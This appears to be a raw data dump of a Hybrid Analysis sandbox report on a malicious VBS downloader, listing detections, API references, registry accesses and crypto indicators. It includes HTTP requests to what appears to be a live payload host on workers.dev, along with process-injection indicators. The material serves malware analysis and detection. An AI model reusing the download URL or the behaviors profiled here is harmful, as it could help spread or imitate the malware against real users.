26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 62:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4e5,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious PowerShell/TrojanDownloader.Agent Sample 75a7143599bc… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 75a7143599bc…. Malware family: PowerShell/TrojanDownloader.Agent. Threat score 100/100. 2/26 AV engines flagged this file. 5 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/75a7143599bc7154f6290dac048a9a9f75065b435080e44a3cdee74b87933439","keywords":["Malicious","PowerShell/TrojanDownloader.Agent","malware analysis","sandbox report","threat intelligence","75a7143599bc7154f6290dac048a9a9f75065b435080e44a3cdee74b87933439"],"about":{"@type":"SoftwareApplication","name":"Draft Documents for ref 6017257934.vbs","applicationCategory":["script","vbs"],"identifier":"75a7143599bc7154f6290dac048a9a9f75065b435080e44a3cdee74b87933439","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"PowerShell/TrojanDownloader.Agent","antivirusDetections":{"malicious":2,"total":26},"behavioralIndicators":{"malicious":5,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T5b1,Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp")28:T756,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp")29:T446,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp, 00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp")2a:T6ba,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "function Format-Hex" (Indicator: "Format-Hex"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found string "PS# 170..180 | format-hex -Raw" (Indicator: "Format-Hex"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found string "function ConvertFrom-SddlString" (Indicator: "ConvertFrom-SddlString"; Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp")2b:T6d1,Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00004904-00000BC0-1197360912") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp, 00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found reference to "[ValidateSet("SHA1", "SHA256", "SHA384", "SHA512", "MACTripleDES"," (Indicator: "SHA384"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found reference to "[ValidateSet("SHA1", "SHA256", "SHA384", "SHA512", "MACTripleDES"," (Indicator: "SHA512"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found reference to "[ValidateSet("SHA1", "SHA256", "SHA384", "SHA512", "MACTripleDES"," (Indicator: "TripleDES"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found reference to "TripleDES" (Indicator: "TripleDES"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to "LegalKeySizesValue" (Indicator: "KeySizes"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to "Rijndael" (Indicator: "Rijndael"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to "CryptoStream" (Indicator: "CryptoStream"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to "KeySizes" (Indicator: "KeySizes"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp")2c:T733,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA")2d:Ta14,"WScript.exe" queried SystemProcessInformation at 00000000-00008128-00000C15-1194473278 [PID: 8128] "WScript.exe" queried SystemProcessInformation at 00000000-00008128-00000C15-1194482432 [PID: 8128] "WScript.exe" queried SystemProcessInformation at 00000000-00008128-00000C15-1194924436 [PID: 8128] "WScript.exe" queried SystemProcessInformation at 00000000-00008128-00000C15-1194933086 [PID: 8128] "WScript.exe" queried SystemProcessInformation at 00000000-00008128-00000C15-1195104094 [PID: 8128] "WScript.exe" queried SystemProcessInformation at 00000000-00008128-00000C15-1195112650 [PID: 8128] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1196225644 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1196243251 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1197709132 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1197733490 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1198403452 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1198411167 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1199412433 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1199424198 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1199727302 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1199743048 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1200644589 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1201476007 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1201484368 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1201930463 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1201937675 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1203210648 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1203218819 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1203382972 [PID: 4904] "powershell.exe" queried SystemProcessInformation at 00000000-00004904-00000C15-1203393092 [PID: 4904]2e:Tcc2,Found api reference "CryptEncrypt" (Indicator: "CryptEncrypt"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found api reference "CryptDecrypt" (Indicator: "CryptDecrypt"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found api reference "BCryptGetProperty" (Indicator: "BCryptGetProperty"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "BCryptDestroyHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "BCryptCreateHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "BCryptFinishHash" (Indicator: "BCryptFinishHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHashData"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "CryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "CryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "CryptGetHashParam" (Indicator: "CryptGetHashParam"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "CryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "CryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp")2f:T5f4,Contains base64 string in header "J3OB" in header "GET /QQIB-J3OB-PICL-3175/img_id20y0.png HTTP/1.1User-Agent: Mozilla/5.0Host: small-morning-8be0.fsocietyandtools.workers.devConnection: Keep-Alive" Contains base64 string in header "PICL" in header "GET /QQIB-J3OB-PICL-3175/img_id20y0.png HTTP/1.1User-Agent: Mozilla/5.0Host: small-morning-8be0.fsocietyandtools.workers.devConnection: Keep-Alive" Contains base64 string in header "3175/img" in header "GET /QQIB-J3OB-PICL-3175/img_id20y0.png HTTP/1.1User-Agent: Mozilla/5.0Host: small-morning-8be0.fsocietyandtools.workers.devConnection: Keep-Alive" Contains base64 string in header "8be0" in header "GET /QQIB-J3OB-PICL-3175/img_id20y0.png HTTP/1.1User-Agent: Mozilla/5.0Host: small-morning-8be0.fsocietyandtools.workers.devConnection: Keep-Alive" Contains base64 string in header "fsocietyandtools" in header "GET /QQIB-J3OB-PICL-3175/img_id20y0.png HTTP/1.1User-Agent: Mozilla/5.0Host: small-morning-8be0.fsocietyandtools.workers.devConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /QQIB-J3OB-PICL-3175/img_id20y0.png HTTP/1.1User-Agent: Mozilla/5.0Host: small-morning-8be0.fsocietyandtools.workers.devConnection: Keep-Alive" Contains base64 string in header "J3OB" in header "GET /QQIB-J3OB-PICL-3175/img_gahlvs.png HTTP/1.1" Contains base64 string in header "PICL" in header "GET /QQIB-J3OB-PICL-3175/img_gahlvs.png HTTP/1.1" Contains base64 string in header "3175/img" in header "GET /QQIB-J3OB-PICL-3175/img_gahlvs.png HTTP/1.1"30:T512,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Able to decrypt/decode data Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to decrypt data Matched sigs: HTTP requests contain Base64 strings Matched sigs: YARA signature match – Encryption algorithm31:T1b30,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008128) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008128) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acb15bf97f0000000000000000000051edef5df97f0000000000008b01000000000000000000008c581980e07800002a00000000000000e0b9c28e8b0100008fecef5df97f0000e0acb15bf97f0000e0acb15bf97f0000000000000000000000000000f97f0000ffffff7fdc8f000000000000000000000000000000000000d8cea55bf97f00002a0000000000000069c35e5bf97f00003100000000000000ec02000000000000f002000000000000110001100000000040d2bd043700000003a3fb5cf97f000040d2bd043700000000000000000000002b00000000000000000000000000000020b0645bf97f0000b43f635bf97f0000e0cea55b (UID: 00000000-00008128) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000002ccabd043700000010000000000004002ab5c2b3b15b0000503ab45df97f0000000000000000000098edb85df97f000000dabd043700000020e5bf5df97f0000000000000000000048d8bd04370000000000000000000000000000000000000070d7bd043700000080d0975df97f0000c00000000000004600000000000031003200300037003300360031003000300098edb85df97f0000b0d6bd0437000000431f0000000000000000000000000000000000000000000010d2bd0437000000020000000000000017d6eb5df97f000063bc453fcb1c0000d0d7bd04370000000c5b1980e07800005bca1a5bf97f000090ddbd04 (UID: 00000000-00008128) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004904) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004904) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acb15bf97f0000000000000000000051edef5df97f000000000000720200000000000000000000220a9fe002b500002a00000000000000f053feab720200008fecef5df97f0000e0acb15bf97f0000e0acb15bf97f0000000000000000000000000000f97f0000ffffff7fcfc2000000000000000000000000000000000000d8cea55bf97f00002a0000000000000069c35e5bf97f00003100000000000000e803000000000000ec03000000000000110001100000000060d76fb8a000000003a3fb5cf97f000060d76fb8a000000000000000000000002b00000000000000000000000000000020b0645bf97f0000b43f635bf97f0000e0cea55b (UID: 00000000-00004904) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000004000000000000000000017ac720200000b8eed5df97f0000000017ac72020000020000007202000038000000000000004000000000000000300317ac7202000098dd64b9a000000001000000000000000300000000000000010000000000000016000000000000002010edab7202000000000000000000000000edab72020000b0c650c672020000000000000000000077000000010000000000000000000000800000000000000004000000000000000000000000000000b8c750c67202000004000000000000003800000000000000f098fa5cf97f00003800000000000000380000000000000010df64b9a0000000c00c4a26f97f000000000000 (UID: 00000000-00004904) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b0fd3bf97f0000070000000000000000000000000000000100000000000000f04a97c672020000000000000000000080bb99c6720200004c98fa5cf97f000070d999c672020000b3ce4026f97f0000f0bc99c672020000004ffd3bf97f0000d0b0fd3bf97f000000000000000000000000000000000000f0bc99c672020000f04a97c672020000b01797c67202000068df64b9a00000004c98fa5cf97f0000010000000000000068df64b9a0000000b01797c672020000f0bc99c672020000010000000000000002bc4026f97f0000d0c199c67202000060f997c672020000feffffff040000007df0fc3bf97f0000f01997c6 (UID: 00000000-00004904) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000f04a97c672020000000000000000000080bb99c6720200004c98fa5cf97f000070e199c672020000b3ce4026f97f000000bc99c672020000384ffd3bf97f0000d0b0fd3bf97f00000000000000000000000000000000000000bc99c672020000f04a97c672020000b01797c67202000060df64b9a00000004c98fa5cf97f0000010000000000000060df64b9a0000000b01797c67202000000bc99c672020000010000000000000002bc4026f97f0000000000000000000060f997c672020000d0c199c604000000fefffffffffffffff04a97c6720200007df0fc3bf97f000000000000 (UID: 00000000-00004904) "powershell.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004904)32:Ta42,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000000000000018000000000000004c4f9f73d3cd0000bc751980e078000006000000000000000000401ff67f0000a402453bf97f0000060000008b010000d8f1155df97f000070febd0437000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401f (UID: 00000000-00008128) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000006cf7bd0437000000000000000000000020fbbd0437000000a806c38e8b01000080f1bd043700000000000000000000004ef7735af97f00006cf7bd04370000000000000000000000000000000000000099dd155df97f0000000000000000000010f1bd043700000020f1bd0437000000010000003700000000000000 (UID: 00000000-00008128) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b745af97f00000000a73bf97f0000000000000000000000000000000000000806a83bf97f00000001000000000000f098fa5cf97f00000001000000000000000100000000000000000000000000000006a83bf97f000001000000000000000f18a73bf97f000000000000000000000006a83bf97f000000000000 (UID: 00000000-00008128) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c31a52df97f0000708ba72df97f00000200000000000000708ba72df97f000000000000000000000300000000000000b131a52df97f0000a815a82df97f0000b0cfbd8e8b010000c0cfbd8e8b010000888ba72df97f00000100000000000000239ffc5cf97f00000000000000000000888ba72df97f000006000000 (UID: 00000000-00008128) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d9e2df97f0000c0fe9f2df97f00000400000000000000c0fe9f2df97f000000000000000000000500000000000000453d9e2df97f0000286aa02df97f0000be5a755af97f000098cbbd8e8b010000ec0f9f73d3cd0000b08e755af97f0000239ffc5cf97f00000100000000000000d1329e2df97f000000006e5a (UID: 00000000-00008128) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5a755af97f00000000a22df97f000000000000000000000000000000000000883fa32df97f00000001000000000000f098fa5cf97f0000000100000000000000010000000000000000000000000000803fa32df97f00000100000000000000bf10a22df97f00000000000000000000803fa32df97f000000000000 (UID: 00000000-00008128) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004904)33:T59b,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; 